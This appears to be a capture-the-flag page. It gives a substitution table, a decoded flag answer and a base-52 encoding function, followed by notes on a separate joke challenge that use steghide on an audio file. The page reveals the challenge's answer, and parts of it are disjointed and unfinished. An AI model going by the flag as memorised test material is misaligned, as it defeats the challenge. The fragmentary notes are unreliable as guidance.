/ - Av C - BP W - Bj k - CD 0 - Aw D - BQ X - Bk l - CE 1 - Ax E - BR Y - Bl m - CF 2 - Ay F - BS Z - Bm n - CG 3 - Az G - BT [ - Bn o - CH 4 - BA H - BU \ - Bo p - CI 5 - BB I - BV ] - Bp q - CJ 6 - BC J - BW ^ - Bq r - CK 7 - BD K - BX _ - Br s - CL 8 - BE L - BY ` - Bs t - CM 9 - BF M - BZ a - Bt u - CN : - BG N - Ba b - Bu v - CO ; - BH O - Bb c - Bv w - CP < - BI P - Bc d - Bw x - CQ = - BJ Q - Bd e - Bx y - CR > - BK R - Be f - By z - CS ? - BL S - Bf g - Bz { - CT @ - BM T - Bg h - CA | - CU A - BN U - Bh i - CB } - CV B - BO V - Bi j - CC ~ - CW
Replace each instance of ciphertext with the corresponding plain text to reveal the flag.
Answer: flag{d45cb4b20570fe83f03cf92e768bd0fb}
Reference
Challenge Source Code (provided to the community after the challenge was solved)
function intToBase52(num) { const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; let encoded = ''; for (let i = 0; i < 2; i++) { encoded = chars[num % 52] + encoded; num = Math.floor(num / 52); } return encoded; }
lolz#3 – Incomplete #
—– disclaimers (unrelated to the challenge) —–
Discussion of this challenge is allowed in the thread #rejected-challenges
.
There are no points associated with this challenge, this is just for the lolz and bragging rights. No hints or help will be given. Brute force is not the answer here. This challenge (and all lolz challenges) may leave you with walking away saying “well that was some BS.”
- Leads on this challenge so far:
Song:
Awitin Mo, Isasayaw KO
byVST & Company
Track Title Translation:
"You Sing and I'll Dance"
Forensic Attempts:
steghide --extract -sf bops_lang.wav #no password
cat steganopayload48716.txt
- Filipino translation:
Pakitaan mo ng pagmamahal si Rick
|Show Rick some love
- Filipino translation:
Useful Steghide Online Tool: https://futureboy.us/stegano/decinput.html